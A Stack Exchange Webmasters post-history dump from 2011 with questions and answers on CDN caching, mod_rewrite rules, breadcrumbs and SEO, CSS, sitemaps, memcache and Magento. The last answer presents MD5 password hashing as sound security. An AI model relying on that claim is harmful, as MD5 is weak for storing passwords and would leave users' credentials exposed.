  <row Id="39554" PostHistoryTypeId="2" PostId="16582" RevisionGUID="8ecb8eed-8ef0-4e4f-9c69-ba0ecbf85df0" CreationDate="2011-07-08T15:37:15.687" UserId="1155" Text="I'm getting a very strange error on http://cure.org where the following PNG image is not being delivered from the CDN to webkit browsers (both Chrome and Safari), but Firefox is loading it just fine.&#xD;&#xA;&#xD;&#xA;Even more strange is that only one image appears to be affected. Other PNGs, include the site main sprite, are loading just fine.&#xD;&#xA;&#xD;&#xA;The affected image url is: http://c615642.r42.cf2.rackcdn.com/img/list-focus-bg.png which when it from Chrome and Safari return a &quot;Webpage not available&quot; result.&#xD;&#xA;&#xD;&#xA;Does this made any sense? Why would Firefox be loading the image but not Safari or Chrome.&#xD;&#xA;&#xD;&#xA;Also, my testing so far has only included Mac boxes. However, my colleague on Linux is loading the image fine from both FF on Kubuntu and Chrome on Kubuntu.&#xD;&#xA;&#xD;&#xA;Edit: After clearing my cache in FF it's not appearing there either.&#xD;&#xA;&#xD;&#xA;Turns out that according to HttpFox, rackspace is giving me an old version of the file.&#xD;&#xA;&#xD;&#xA;We're going to contact Rackspace about it, but my tech dir says sometimes routers or ISP's can cache the file along the way.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;![enter image description here][1]&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://i.stack.imgur.com/9wqgr.jpg" />
  <row Id="39555" PostHistoryTypeId="1" PostId="16582" RevisionGUID="8ecb8eed-8ef0-4e4f-9c69-ba0ecbf85df0" CreationDate="2011-07-08T15:37:15.687" UserId="1155" Text="CDN png image not accessible from my machine" />
  <row Id="39556" PostHistoryTypeId="3" PostId="16582" RevisionGUID="8ecb8eed-8ef0-4e4f-9c69-ba0ecbf85df0" CreationDate="2011-07-08T15:37:15.687" UserId="1155" Text="&lt;cdn&gt;&lt;rackspace&gt;&lt;png&gt;" />
  <row Id="39557" PostHistoryTypeId="5" PostId="16520" RevisionGUID="cec53d59-7035-4582-b541-dd81d8562ee4" CreationDate="2011-07-08T17:37:44.347" UserId="8839" Comment="added mod_rewrite solution" Text="I am developing a relatively static website, where I want to be able to access each page without typing .html (or .htm or .xhtml ...) at the end (`/about` not `/about.html`). &#xD;&#xA;&#xD;&#xA;I am developing using the Apache 2.2 server (in OSX). Links like the above work just fine. No monkeying around with `mod_rewrite`, they just work. &#xD;&#xA;&#xD;&#xA;However, on my actual web host ([fatcow.com][1]) this does not work (a link to `/about` just raises a 404 error). I've called them and they don't seem to know what is going on... or particularly think it is their problem. They are using Apache 2.0.&#xD;&#xA;&#xD;&#xA;What is going on here and what is the best method for getting around it? I'd prefer a solution that didn't involve adding a `mod_rewrite` entry for each of my pages, but if that is needed how would I do that?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;For reference, if I do go with a `mod_rewrite` solution it would look like: &#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    RewriteRule ^about$ /about.html&#xD;&#xA;    #and so on, for each page&#xD;&#xA;&#xD;&#xA;  [1]: http://fatcow.com" />
  <row Id="39558" PostHistoryTypeId="5" PostId="16521" RevisionGUID="475fca03-f23e-4296-af85-3fb29aba264b" CreationDate="2011-07-08T17:51:47.380" UserId="8354" Comment="added mod-rewrite solution to add .html extension automatically" Text="You need to add the following line into your `.htaccess` file(s):&#xD;&#xA;&#xD;&#xA;    Options +MultiViews&#xD;&#xA;&#xD;&#xA;&gt; **The effect of MultiViews is as&#xD;&#xA;&gt; follows:** if the server receives a&#xD;&#xA;&gt; request for `/some/dir/foo`, if&#xD;&#xA;&gt; `/some/dir` has MultiViews enabled,&#xD;&#xA;&gt; and `/some/dir/foo` does not exist,&#xD;&#xA;&gt; then the server reads the directory&#xD;&#xA;&gt; looking for files named `foo.*`, and&#xD;&#xA;&gt; effectively fakes up a type map which&#xD;&#xA;&gt; names all those files, assigning them&#xD;&#xA;&gt; the same media types and&#xD;&#xA;&gt; content-encodings it would have if the&#xD;&#xA;&gt; client had asked for one of them by&#xD;&#xA;&gt; name. It then chooses the best match&#xD;&#xA;&gt; to the client's requirements.&#xD;&#xA;&#xD;&#xA;See these links for details:&#xD;&#xA;&#xD;&#xA;- http://httpd.apache.org/docs/current/mod/core.html#options&#xD;&#xA;- http://httpd.apache.org/docs/current/content-negotiation.html#negotiation (scroll a bit until you see *Multiviews* header)&#xD;&#xA;&#xD;&#xA;----------&#xD;&#xA;&#xD;&#xA;**UPDATE:**&#xD;&#xA;&#xD;&#xA;If you need to go with mod_rewrite then use this rule -- *it will attempt to rewrite all extensionless URLs to the same but with `.html`.* There will be no need of specifying individual rules for each of such URLs:&#xD;&#xA;&#xD;&#xA;    RewriteEngine On&#xD;&#xA;    RewriteBase /&#xD;&#xA;    &#xD;&#xA;    # add .html file extension&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xD;&#xA;    RewriteCond %{REQUEST_FILENAME}\.html -f&#xD;&#xA;    RewriteRule ^(.+)$ $1.html [L,QSA]&#xD;&#xA;&#xD;&#xA;**P.S.** You may need to add a lash `/` before `$1` -- depends on your Apache config." />
  <row Id="39559" PostHistoryTypeId="25" PostId="16580" RevisionGUID="aa09647a-4d9f-4472-8e72-cfd32bdcb813" CreationDate="2011-07-08T18:28:14.897" Comment="http://twitter.com/#!/StackWebmasters/status/89400414935597056" />
  <row Id="39560" PostHistoryTypeId="17" PostId="16583" RevisionGUID="ae2c02a4-ee7f-4bbd-933c-5ea3c15a40e1" CreationDate="2011-07-08T18:34:08.723" UserId="-1" Comment="from http://stackoverflow.com/questions/6628261/breadcrumbs-in-h1-google" Text="" />
  <row Id="39561" PostHistoryTypeId="17" PostId="16584" RevisionGUID="a489484a-d063-4c4b-9fba-b4a9a27e305d" CreationDate="2011-07-08T18:34:08.723" UserId="-1" Comment="from http://stackoverflow.com/questions/6628261/breadcrumbs-in-h1-google" Text="" />
  <row Id="39562" PostHistoryTypeId="2" PostId="16584" RevisionGUID="c5151d0d-2562-48fd-8988-ca90236ba0c6" CreationDate="2011-07-08T17:47:58.367" UserId="7459" Text="The answer to this is a No for SEO reasons - I don't know why you would want to wrap your breadcrumbs in a `H1`.&#xD;&#xA;&#xD;&#xA;If your concerned of your page not having a page title simply add this after your declare your doctype, within your `&lt;head&gt;` tag - `&lt;title&gt;Page Title Goes Here&lt;/title&gt;`&#xD;&#xA;" />
  <row Id="39563" PostHistoryTypeId="2" PostId="16585" RevisionGUID="a22e0ec3-4371-4869-bdac-2f9b169c36e6" CreationDate="2011-07-08T18:01:48.663" UserDisplayName="Rodolfo" Text="for SEO, you need a title that is basically the main subject of the page including the keywords you're focusing on for the page, the h1 should be the same or similar (i.e. it should say what the page is about in 1 sentence(ish)).&lt;br&gt;&#xD;&#xA;For the breadcrumb to be any good the elements should be links (`&lt;a&gt;`) to the corresponding pages." />
  <row Id="39564" PostHistoryTypeId="2" PostId="16583" RevisionGUID="a97c8c43-e8ba-4763-a480-a1e5f4866f17" CreationDate="2011-07-08T17:42:40.937" UserDisplayName="google" Text="Is it good for Google?&#xD;&#xA;&#xD;&#xA;Like this:&#xD;&#xA;&#xD;&#xA;`&lt;h1&gt; Home &gt;&gt; Services &gt;&gt; Toilet cleaning &gt;&gt; Showcase &lt;/h1&gt;`" />
  <row Id="39565" PostHistoryTypeId="1" PostId="16583" RevisionGUID="a97c8c43-e8ba-4763-a480-a1e5f4866f17" CreationDate="2011-07-08T17:42:40.937" UserDisplayName="google" Text="Breadcrumbs in H1, google?" />
  <row Id="39566" PostHistoryTypeId="3" PostId="16583" RevisionGUID="a97c8c43-e8ba-4763-a480-a1e5f4866f17" CreationDate="2011-07-08T17:42:40.937" UserDisplayName="google" Text="&lt;html&gt;&lt;google&gt;" />
  <row Id="39567" PostHistoryTypeId="17" PostId="16585" RevisionGUID="03bd44a4-3434-487a-a34d-3f29c5046927" CreationDate="2011-07-08T18:34:08.723" UserId="-1" Comment="from http://stackoverflow.com/questions/6628261/breadcrumbs-in-h1-google" Text="" />
  <row Id="39568" PostHistoryTypeId="17" PostId="16586" RevisionGUID="bccbe936-2ca4-4b57-9753-c0c8e89abb45" CreationDate="2011-07-08T18:34:08.723" UserId="-1" Comment="from http://stackoverflow.com/questions/6628261/breadcrumbs-in-h1-google" Text="" />
  <row Id="39569" PostHistoryTypeId="2" PostId="16586" RevisionGUID="3981b74a-5dfa-41d4-b4b9-84ea95b80117" CreationDate="2011-07-08T18:13:24.573" UserId="8463" Text="In the eyes of Google the `&lt;h1&gt;` is one of the most important descriptors of your page's content. Unless your page contains a homepage, list of services, toilet cleaning overview and showcase (which it doesn't) then *no don't do it!*&#xD;&#xA;&#xD;&#xA;If you were to keyword stuff the `&lt;h1&gt;` and `&lt;title&gt;` for good rankings (which I don't recommend you do) - even then - those are terrible keywords.&#xD;&#xA;&#xD;&#xA;An important part of Google understanding your website (and ranking you highly for good content) is to clearly show your website's structure. A clean navigation built with nested `&lt;li&gt;`s, a good HTML sitemap, strong URL structure (e.g. `/services/toilet-cleaning/showcase.html`) and breadcrumbs all work towards that. So yes breadcrumbs are important.&#xD;&#xA;&#xD;&#xA;The best way to implement breadcrumbs in my opinion is through an ordered list:&#xD;&#xA;&#xD;&#xA;    &lt;ol&gt;&#xD;&#xA;      &lt;li&gt;&lt;a href=&quot;/&quot;&gt;Home&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;      &lt;li&gt;&lt;a href=&quot;/services/&quot;&gt;Services&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;      &lt;li&gt;&lt;a href=&quot;/services/toilet-cleaning/&quot;&gt;Toilet Cleaning&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;      &lt;li class=&quot;active&quot;&gt;&lt;a href=&quot;/services/toilet-cleaning/showcase.html&quot;&gt;Showcase&lt;/a&gt;&lt;/li&gt;&#xD;&#xA;    &lt;/ol&gt;&#xD;&#xA;&#xD;&#xA;Which can easily be [styled to a horizontal list][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://css.maxdesign.com.au/listamatic/index.htm" />
  <row Id="39570" PostHistoryTypeId="2" PostId="16587" RevisionGUID="1fed1f29-3613-4195-a85b-8fce293c453e" CreationDate="2011-07-08T18:40:52.267" UserId="1253" Text="`&lt;H1&gt;` is where you put the page title.&#xD;&#xA;&#xD;&#xA;If your goal is to improve your SEO through breadcrumbs then you will want to use the [breadcrumbs microformat][1]. This specifically tells Google, and Bing, that these are breadcrumbs. They will then use that to determine a hierarchy in your site and Google will even enhance your listing by showing your breadcrumbs in their search results.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html" />
  <row Id="39571" PostHistoryTypeId="4" PostId="16583" RevisionGUID="34de2061-673e-4368-a2d7-5608487545da" CreationDate="2011-07-08T18:42:22.997" UserId="1253" Comment="modified tags, title" Text="Breadcrumbs in H1 - How does it affect Google?" />
  <row Id="39572" PostHistoryTypeId="6" PostId="16583" RevisionGUID="34de2061-673e-4368-a2d7-5608487545da" CreationDate="2011-07-08T18:42:22.997" UserId="1253" Comment="modified tags, title" Text="&lt;seo&gt;&lt;google&gt;&lt;html&gt;&lt;breadcrumbs&gt;" />
  <row Id="39573" PostHistoryTypeId="5" PostId="16587" RevisionGUID="44fa2af1-2e58-4fb1-9f82-061d49ee1c9a" CreationDate="2011-07-08T18:46:00.077" UserId="1253" Comment="added 92 characters in body" Text="`&lt;H1&gt;` is where you put the page title (this is in addition to the `&lt;title&gt;` tag as they serve two similar but different purposes).&#xD;&#xA;&#xD;&#xA;If your goal is to improve your SEO through breadcrumbs then you will want to use the [breadcrumbs microformat][1]. This specifically tells Google, and Bing, that these are breadcrumbs. They will then use that to determine a hierarchy in your site and Google will even enhance your listing by showing your breadcrumbs in their search results.&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2010/09/rich-snippets-testing-tool-improvements.html" />
  <row Id="39578" PostHistoryTypeId="17" PostId="16589" RevisionGUID="f844b520-9ec5-490c-ad2a-2cfa9da144b7" CreationDate="2011-07-08T19:41:32.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6629220/breadcrumb-before-or-after-h1" Text="" />
  <row Id="39579" PostHistoryTypeId="17" PostId="16590" RevisionGUID="060c3eac-5a7c-4c33-a572-a78fa8bb53fc" CreationDate="2011-07-08T19:41:32.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6629220/breadcrumb-before-or-after-h1" Text="" />
  <row Id="39580" PostHistoryTypeId="2" PostId="16590" RevisionGUID="8526d290-ea60-4b22-9ed8-4695d8f49046" CreationDate="2011-07-08T19:08:00.273" UserDisplayName="Parkyprg" Text="This doesn't really matter as long as you have only one `&lt;h1&gt;` on the page.&#xD;&#xA;&#xD;&#xA;For example you should put your sidebar div at the end of the page, as the important keywords comes in the beginning of the page." />
  <row Id="39581" PostHistoryTypeId="2" PostId="16591" RevisionGUID="536a7b8e-ff41-440a-a2cf-af0d0359fc89" CreationDate="2011-07-08T19:32:31.720" UserDisplayName="Cshift3iLike" Text="The position of the H1 tag has basically no relevance compared to the content inside of the tag!&#xD;&#xA;A great descriptive text that reflects the contents of the page, is where the time should be spent.&#xD;&#xA;&#xD;&#xA;Another far more important thing to keep in mind is, how do users react to the placement of the H1 tag. Is it more intuitive for them to have breadcrumbs above or below the Header? &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;also have a look at [rich snippets][1], it is a great way to tell google which part of your site is content and what is navigation, and so on.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=185417" />
  <row Id="39582" PostHistoryTypeId="2" PostId="16589" RevisionGUID="10312f47-b856-4756-b97a-360ac9cb7e47" CreationDate="2011-07-08T19:06:06.587" UserDisplayName="google" Text="Which is better for SEO?&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    home &gt; page &gt; sub page&#xD;&#xA;    &lt;h1&gt; sub page &lt;/h1&gt;&#xD;&#xA;    &#xD;&#xA;or&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &lt;h1&gt; sub page &lt;/h1&gt;&#xD;&#xA;    home &gt; page &gt; sub page&#xD;&#xA;&#xD;&#xA;?" />
  <row Id="39583" PostHistoryTypeId="1" PostId="16589" RevisionGUID="10312f47-b856-4756-b97a-360ac9cb7e47" CreationDate="2011-07-08T19:06:06.587" UserDisplayName="google" Text="Breadcrumb before or after H1 ?" />
  <row Id="39584" PostHistoryTypeId="3" PostId="16589" RevisionGUID="10312f47-b856-4756-b97a-360ac9cb7e47" CreationDate="2011-07-08T19:06:06.587" UserDisplayName="google" Text="&lt;google&gt;&lt;seo&gt;&lt;breadcrumbs&gt;" />
  <row Id="39585" PostHistoryTypeId="17" PostId="16591" RevisionGUID="b0fba712-efac-459d-9958-6f22cd6ce4bf" CreationDate="2011-07-08T19:41:32.057" UserId="-1" Comment="from http://stackoverflow.com/questions/6629220/breadcrumb-before-or-after-h1" Text="" />
  <row Id="39592" PostHistoryTypeId="2" PostId="16592" RevisionGUID="f060e78d-cf04-4502-bc67-447bc6707020" CreationDate="2011-07-08T20:05:32.190" UserId="6225" Text="Here's what [Fiddler][1] reports for that image:&#xD;&#xA;&#xD;&#xA;    HTTP/1.1 Cache-Control Header is present: public, max-age=2529648&#xD;&#xA;    	public: This response MAY be cached by any cache.&#xD;&#xA;    	max-age: This resource will expire in 29.28 days. [2529648 sec]&#xD;&#xA;&#xD;&#xA;So, you *TOLD* Rackspace to cache the image for 30 days on their CDN. That's what they're doing, which is why you are seeing older versions of the file from some of the CDN nodes that had the old version in their caches. The default is 24 hours, so you must have over-ridden it via their website or their API. Did you copy-and-paste code or something?&#xD;&#xA;&#xD;&#xA;To override the 30 days of caching you set up, you need to change the URL of the image in the source page, or tell Rackspace to purge the old version from their CDN nodes:&#xD;&#xA;http://www.rackspace.com/cloud/blog/2011/02/25/cloud-files-cdn-gets-edge-purge/&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://fiddler2.com" />
  <row Id="39594" PostHistoryTypeId="2" PostId="16594" RevisionGUID="73b0b533-1f65-493f-8660-2c0338acb69a" CreationDate="2011-07-08T20:31:30.607" UserId="8864" Text="Creating content that **&quot;people&quot;** will link to is a far better and more  [future-proof seo strategy][2].&#xD;&#xA;&#xD;&#xA;But in this case obviously the best way, is to have a link that doesn't change over time or disappears. You might do this in a way that shows different links on different pages, but it won't be worth the trouble, if the link is out of context of the page itself.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [age of backlinks][1]: Links that pop up and then disappear can raise a flag. In this case a backlink age is one of multiple signals to identify paid links (remember, it was a common behavior to buy links for one/two months and then unsubscribe if the rankings never go up).&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.searchenginejournal.com/backlink-age-seo-factor/9943/&#xD;&#xA;  [2]: http://www.youtube.com/watch?v=xnjU4laWgDo" />
  <row Id="39598" PostHistoryTypeId="2" PostId="16596" RevisionGUID="4f2e0a31-5cb6-4f7a-adff-9f9ab15fdbb9" CreationDate="2011-07-08T20:45:35.667" UserId="8867" Text="I am publishing python code on some website that is CMS. I have a python script that reads any python script and makes a syntax-colored HTML out of it. Then I copy/paste this HTML into the CMS editing window.&#xD;&#xA;&#xD;&#xA;The problem is that my python syntax highlighting script uses &lt;pre&gt; tag to keep tabs/spaces which are quite important in python. The CMS however for some reasons that are unclear for me removes any &lt;pre&gt; tag. Admin told me that I should use &lt;div&gt; instead of &lt;pre&gt;. Could you help me styling a &lt;div&gt; to keep the wihte-space formatting? " />
  <row Id="39599" PostHistoryTypeId="1" PostId="16596" RevisionGUID="4f2e0a31-5cb6-4f7a-adff-9f9ab15fdbb9" CreationDate="2011-07-08T20:45:35.667" UserId="8867" Text="How to mimic &lt;pre&gt; with &lt;div&gt;" />
  <row Id="39600" PostHistoryTypeId="3" PostId="16596" RevisionGUID="4f2e0a31-5cb6-4f7a-adff-9f9ab15fdbb9" CreationDate="2011-07-08T20:45:35.667" UserId="8867" Text="&lt;html&gt;&lt;tags&gt;" />
  <row Id="39601" PostHistoryTypeId="2" PostId="16597" RevisionGUID="d7872a04-5762-4e1c-8ac2-fc52f81f3471" CreationDate="2011-07-08T20:47:59.577" UserId="1253" Text="You can do that with the CSS `white-space` rule:&#xD;&#xA;&#xD;&#xA;    div&#xD;&#xA;    {&#xD;&#xA;      font-family: Courier New, Courier New, monospace;&#xD;&#xA;      white-space:nowrap;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The fonts included in that rule make each character the same width which is common formatting for text in a `&lt;pre&gt;` tag.&#xD;&#xA;&#xD;&#xA;Keep in mind that this will make all of your `&lt;div&gt;` tags behave this way. Ideally you will assign those `&lt;div&gt;` tags a class to affect only the ones you want to mimic `&lt;pre&gt;`." />
  <row Id="39602" PostHistoryTypeId="5" PostId="16596" RevisionGUID="edf81906-7e37-411f-9ccb-cb0bf072ebbf" CreationDate="2011-07-08T20:50:20.603" UserId="1253" Comment="modified tags, minor text edits" Text="I am publishing python code on some website that is CMS. I have a python script that reads any python script and makes a syntax-colored HTML out of it. Then I copy/paste this HTML into the CMS editing window.&#xD;&#xA;&#xD;&#xA;The problem is that my python syntax highlighting script uses &lt;pre&gt; tag to keep tabs/spaces which are quite important in python. The CMS however for some reasons that are unclear for me removes any `&lt;pre&gt;` tag. Admin told me that I should use `&lt;div&gt;` instead of `&lt;pre&gt;`. Could you help me styling a `&lt;div&gt;` to keep the wihte-space formatting? " />
  <row Id="39603" PostHistoryTypeId="6" PostId="16596" RevisionGUID="edf81906-7e37-411f-9ccb-cb0bf072ebbf" CreationDate="2011-07-08T20:50:20.603" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;html&gt;" />
  <row Id="39604" PostHistoryTypeId="5" PostId="16597" RevisionGUID="af65fb19-f111-4c3b-9958-023f0ae5938e" CreationDate="2011-07-08T20:53:33.407" UserId="1253" Comment="added 208 characters in body; added 78 characters in body; deleted 22 characters in body" Text="You can do that with the CSS `white-space` rule:&#xD;&#xA;&#xD;&#xA;    div&#xD;&#xA;    {&#xD;&#xA;      font-family: &quot;Courier New&quot;, monospace;&#xD;&#xA;      white-space:nowrap;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;The fonts included in that rule make each character the same width which is common formatting for text in a `&lt;pre&gt;` tag.&#xD;&#xA;&#xD;&#xA;Keep in mind that this will make all of your `&lt;div&gt;` tags behave this way. Ideally you will assign those `&lt;div&gt;` tags a class to affect only the ones you want to mimic `&lt;pre&gt;`. Something like:&#xD;&#xA;&#xD;&#xA;    div.code&#xD;&#xA;    {&#xD;&#xA;      font-family: &quot;Courier New&quot;, monospace;&#xD;&#xA;      white-space:nowrap;&#xD;&#xA;    }&#xD;&#xA;&#xD;&#xA;Or, better yet, use the `&lt;code&gt;` tag if it isn't stripped out by your CMS. It acts like the `&lt;pre&gt;` tag but is semantically correct for displaying code." />
  <row Id="39605" PostHistoryTypeId="6" PostId="16596" RevisionGUID="0b002200-c219-4f5d-a4e6-5a890662d81f" CreationDate="2011-07-08T21:01:16.723" UserId="1253" Comment="edited tags" Text="&lt;html&gt;&lt;css&gt;" />
  <row Id="39606" PostHistoryTypeId="17" PostId="16598" RevisionGUID="38e47f8e-f57b-4f42-9650-6baa41cb9814" CreationDate="2011-07-08T21:15:00.717" UserId="-1" Comment="from http://stackoverflow.com/questions/6614430/sitemap-xml-file-priority-of-web-pages" Text="" />
  <row Id="39607" PostHistoryTypeId="17" PostId="16599" RevisionGUID="30c84662-401d-4d33-9351-1d32b4f4c752" CreationDate="2011-07-08T21:15:00.717" UserId="-1" Comment="from http://stackoverflow.com/questions/6614430/sitemap-xml-file-priority-of-web-pages" Text="" />
  <row Id="39608" PostHistoryTypeId="2" PostId="16599" RevisionGUID="3390c59b-81fb-46f4-8902-c8206189a404" CreationDate="2011-07-08T19:54:00.017" UserId="8864" Text="**Google won't blacklist your site** if your sitemap is inaccurate! It is only a guidance that you are providing to google. Also setting high priority will not increase you page-rank.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&gt; [Google About Sitemaps][2]: Google doesn't guarantee that we'll crawl or index all of your URLs. However, we use the data in your Sitemap to learn about your site's structure, which will allow us to improve our crawler schedule and do a better job crawling your site in the future. In most cases, webmasters will benefit from Sitemap submission, **and in no case will you be penalized for it**.&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;I would suggest you to read [sitemap gidelines][1].&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://www.google.com/support/webmasters/bin/topic.py?topic=8476&#xD;&#xA;  [2]: http://www.google.com/support/webmasters/bin/answer.py?hl=en&amp;answer=156184" />
  <row Id="39609" PostHistoryTypeId="2" PostId="16598" RevisionGUID="310ea1b7-2df0-4718-a46b-5b2d8acb5fa9" CreationDate="2011-07-07T17:11:27.500" UserDisplayName="user581544" Text="what happens if i increase the priority of a page to daily and don't update it daily. Will this make search engine blacklist my site ? What is the accepted priority level to balance search indexing ?" />
  <row Id="39610" PostHistoryTypeId="1" PostId="16598" RevisionGUID="310ea1b7-2df0-4718-a46b-5b2d8acb5fa9" CreationDate="2011-07-07T17:11:27.500" UserDisplayName="user581544" Text="sitemap xml file priority of web pages" />
  <row Id="39611" PostHistoryTypeId="3" PostId="16598" RevisionGUID="310ea1b7-2df0-4718-a46b-5b2d8acb5fa9" CreationDate="2011-07-07T17:11:27.500" UserDisplayName="user581544" Text="&lt;seo&gt;" />
  <row Id="39612" PostHistoryTypeId="25" PostId="16596" RevisionGUID="2f5a5750-8fcd-42f0-a9a1-362a8307df25" CreationDate="2011-07-08T21:28:15.503" Comment="http://twitter.com/#!/StackWebmasters/status/89445715901825024" />
  <row Id="39613" PostHistoryTypeId="2" PostId="16600" RevisionGUID="54e8267e-2fe9-4e33-acac-cb07fc5b502b" CreationDate="2011-07-08T22:45:58.853" UserId="8868" Text="I am working in Silverlight and Orchard cms.&#xD;&#xA;&#xD;&#xA;I read something about [google keywords][1] and [website improvements][2]. &#xD;&#xA;&#xD;&#xA;I wonder if there is no way to have a good page rank by using [Silverlight][3] without makeing huge extra work. &#xD;&#xA;And I wonder if you think it is really needed to make own Sarch [engines][4] [Tag clouds][5] and dynamic content. &#xD;&#xA;&#xD;&#xA;How to you work? And how much do you think &quot;a lot of visitors&quot; are more important instead of extra google programming.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1*: h**p://www.google.com/support/webmasters/bin/answer.py?answer=34432&amp;topic=8524&#xD;&#xA;  [2*: h**p://google.about.com/od/searchengineoptimization/qt/improverank.htm&#xD;&#xA;  [3*]: h**p://msdn.microsoft.com/en-us/bb187358&#xD;&#xA;  [4]: http://www.goldengel.ch/forum/forum.aspx?&amp;kategorieid=9998&amp;parentid=1&amp;childid=1&amp;tis=0#childid_1&#xD;&#xA;  [5*: h**p://en.wikipedia.org/wiki/Tag_cloud" />
  <row Id="39614" PostHistoryTypeId="1" PostId="16600" RevisionGUID="54e8267e-2fe9-4e33-acac-cb07fc5b502b" CreationDate="2011-07-08T22:45:58.853" UserId="8868" Text="Improve Google keywords and ranking" />
  <row Id="39615" PostHistoryTypeId="3" PostId="16600" RevisionGUID="54e8267e-2fe9-4e33-acac-cb07fc5b502b" CreationDate="2011-07-08T22:45:58.853" UserId="8868" Text="&lt;google&gt;&lt;pagerank&gt;" />
  <row Id="39616" PostHistoryTypeId="2" PostId="16601" RevisionGUID="1e1a01f8-f6f9-4348-8807-27f9c4bd814e" CreationDate="2011-07-08T22:51:45.697" UserId="8868" Text="Perhaps this link helps:&#xD;&#xA;[Website check][1]&#xD;&#xA;&#xD;&#xA;You can check:&#xD;&#xA;&#xD;&#xA; - Accessibility&#xD;&#xA; - Validation (for example W3C)&#xD;&#xA; - Miscellaneous (for example links)&#xD;&#xA; - Show (Http response / WHOIS)&#xD;&#xA; - Estimate (Website traffice)&#xD;&#xA; - Website Analysis &#xD;&#xA;&#xD;&#xA;Perhaps it would be easy to make an offline .Net application to include all these links into one application.&#xD;&#xA;&#xD;&#xA;Regards&#xD;&#xA;&#xD;&#xA; &#xD;&#xA;&#xD;&#xA;  [1]: http://uitest.com/en/check/" />
  <row Id="39617" PostHistoryTypeId="17" PostId="16602" RevisionGUID="f0ebfc21-08c3-44e7-ac02-98b24b84bcdd" CreationDate="2011-07-08T22:58:58.573" UserId="-1" Comment="from http://serverfault.com/questions/288490/internet-explorer-shows-empty-content-because-of-memcach" Text="" />
  <row Id="39618" PostHistoryTypeId="2" PostId="16602" RevisionGUID="7dc55c8a-d43f-4b4b-b06c-e5406dc49f42" CreationDate="2011-07-08T22:20:22.477" UserDisplayName="Alaa Alomari" Text="I have drupal (pressflow 6.22) website and i am using memcache as a caching level for my website/server.  &#xD;&#xA;sometimes, some node (articles) that have been published on my website show EMPTY content on internet explorer. the same node is displayed fine on all other browsers (Firefox, chrome, safari)!!  &#xD;&#xA;and when i &#xD;&#xA;&lt;pre&gt;&#xD;&#xA;$ telnet 127.0.0.1&#xD;&#xA;Trying 127.0.0.1...&#xD;&#xA;Connected to 127.0.0.1.&#xD;&#xA;Escape character is '^]'.&#xD;&#xA;flush_all&#xD;&#xA;OK&#xD;&#xA;quit&#xD;&#xA;&lt;/pre&gt;&#xD;&#xA;and refresh the page on internet explorer, it is shown fine!! (which means there is a caching problem for this node with internet explorer).  &#xD;&#xA;anybody faced the same case before? any idea is highly appreciated.&#xD;&#xA;Thanks" />
  <row Id="39619" PostHistoryTypeId="1" PostId="16602" RevisionGUID="7dc55c8a-d43f-4b4b-b06c-e5406dc49f42" CreationDate="2011-07-08T22:20:22.477" UserDisplayName="Alaa Alomari" Text="Internet explorer shows empty content because of memcach" />
  <row Id="39620" PostHistoryTypeId="3" PostId="16602" RevisionGUID="7dc55c8a-d43f-4b4b-b06c-e5406dc49f42" CreationDate="2011-07-08T22:20:22.477" UserDisplayName="Alaa Alomari" Text="&lt;internet-explorer&gt;&lt;drupal&gt;" />
  <row Id="39621" PostHistoryTypeId="2" PostId="16603" RevisionGUID="9023e323-e078-4303-9344-52dc3fb468c8" CreationDate="2011-07-08T23:18:52.427" UserId="8864" Text="Make a page about your silverlight app, describe the functionality and let people know why they should use it. This makes it easier for both google and humans to find your app.&#xD;&#xA;&#xD;&#xA;If you actually want the content of your application to be crawlable, then it's going to be that easy. [Silverlight SEO][1] seems like a great place to start, there is a lot of information on how you could overcome some of the potential SEO issues of using silverlight.  &#xD;&#xA;&#xD;&#xA;In case of silverlight only being a plugin on part of the page, then content on that page, should reflect the content in your plugin. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Also keep in mind that Pagerank is a combination of your sites content and how many people reference your site. If the content isn't visible to search engines, you will need to spend more time on word of mouth or social networks.&#xD;&#xA;  [1]: http://silverlightseo.openlightgroup.net/" />
  <row Id="39623" PostHistoryTypeId="2" PostId="16605" RevisionGUID="3cac8abf-a6c7-4bbb-9dbc-a6e4a805b8bd" CreationDate="2011-07-09T00:08:08.373" UserId="7588" Text="The security in Magento is done properly, i.e. URL key for admin, MD5 for passwords, .htaccess restrictions to protect user uploaded files, an encryption key that goes with the build.&#xD;&#xA;&#xD;&#xA;Regarding payment by credit card, you can store credit card data, however, anyone with more brain-cells than a foetus uses a payment gateway with Magento. Popular gateways are provided by all payment processors or someone has written a gateway for them.&#xD;&#xA;&#xD;&#xA;There are thousands of Magento stores out there, taking money. Have a look at the Magento blog and their Magento-spotting feature. Take it back to before 'Professional' came out to see top brands on Magento CE." />
